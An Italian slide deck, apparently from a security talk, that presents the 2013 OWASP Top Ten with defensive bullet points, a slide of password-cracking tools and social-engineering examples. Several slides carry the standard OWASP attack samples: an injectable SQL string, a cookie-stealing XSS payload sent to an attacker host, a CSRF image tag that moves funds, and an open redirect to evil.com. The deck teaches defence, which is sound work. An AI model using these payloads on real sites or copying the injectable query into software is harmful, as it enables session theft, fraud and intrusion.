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Presentazione

• Commodore 64

• Presidente RCLUG

• Laurea in Ingegneria Elettronica

• Sistemista SAP

• Security Consultant



Software Engineering



Risk Analysis



2013 Top Ten OWASP

• A1 - Injection

• A2 - Broken Authentication and Session Management

• A3 - Cross-Site Scripting

• A4 - Insecure Direct Object References

• A5 - Security Misconfiguration

• A6 - Sensitive Data Exposure

• A7 - Missing Function Level Access Control

• A8 - Cross-site Request Forgery (CSRF)

• A9 - Using Components with Known Vulnerabilities

• A10 - Unvalidated Redirects and Forwards



A1 - Injection

• SQL

• LDAP

• Comandi SO

• XML parsers

• Argomenti dei programmi

String query = "SELECT * FROM accounts WHERE 
custID='" + request.getParameter("id") + "'"; 



A2 - Broken Authentication and Session Management

• Credenziali protette da 

offuscamento o crittografia

• Credenziali non enumerabili

• ID di sessione in chiaro,

session fixation, scadenza

• HTTPS

http://example.com/sale/saleitems;jsessionid=2P0OC2 J
SNDLPSKHCJUN2JV?dest=Hawaii 



A3 - Cross-Site Scripting

• Validazione dell’input (e dell’output)

• JavaScript, ActiveX, Flash, Silverlight, PNG

'><script>document.location='http://www.attacker.co m
/cgi-bin/cookie.cgi?foo='+document.cookie</script>'



A4 - Insecure Direct Object References

• Riferimenti diretti:

l’utente è autorizzato ad

accedere alla risorsa?

• Riferimenti indiretti:

il mapping al riferimento

diretto è limitato ai valori

autorizzati?

http://example.com/app/accountInfo?acct=notmyacct



A5 - Security Misconfiguration

• Configurazione dei

servizi secondo il princi-

pio dei privilegi minimi

• Modifica delle

credenziali di default

• Disabilitazione servizi

non strettamente necessari

• Configurazione di sicurezza dei vari framework

• Gestione degli errori

• …



A6 - Sensitive Data Exposure

• Cifratura dei dati sensibili (inclusi i backup)

• Credenziali trasmesse in chiaro

(https, tls, ssl)

• Algoritmi di cifratura deboli

(md5, sha1)

• Chiavi robuste

• Informazioni salvate nel browser (autocomplete, 

cookie, etc)



Password Cracking

• John The Ripper

• OclHashCat

• Ophcrack

• Markov



A7 - Missing Function Level Access Control

• Differenze autorizzative tra utente anonimo,

utente con un basso profilo, utente amministratore

• Bisogna essere autenticato per accedere?

• Bisogna avere privilegi

particolari per visualizzare

la pagina?

http://example.com/getappInfo
http://example.com/admin_getappInfo



A8 - Cross-site Request Forgery (CSRF)

• Sfrutta la fiducia di un sito nel browser di un 

utente

• Token non prevedibili nei form

<img src="http://example.com/app/transferFunds? 
amount=1500&destinationAccount=attackersAcct#"
width="0" height="0" />



A9 - Using Components with Known Vulnerabilities

• Software aggiornato

• Librerie aggiornate

• CVE noti

• Seguire ml di sicurezza e tenersi aggiornati



A10 - Unvalidated Redirects and Forwards

• Per quanto possibile, è meglio evitarli

• Verificare il valore della destinazione

• Verificare se il redirect avviene all’interno del 

proprio dominio

http://www.example.com/redirect.jsp?url=evil.com

http://www.example.com/boring.jsp?fwd=admin.jsp



Social Engineering

• Chiavetta USB

• Sigaretta nella pausa

• Telefonata all’ospedale



Video

• Sql-Injection

• XSS

• SAP 1

• SAP 2



Domande?

minnitipietro@gmail.com


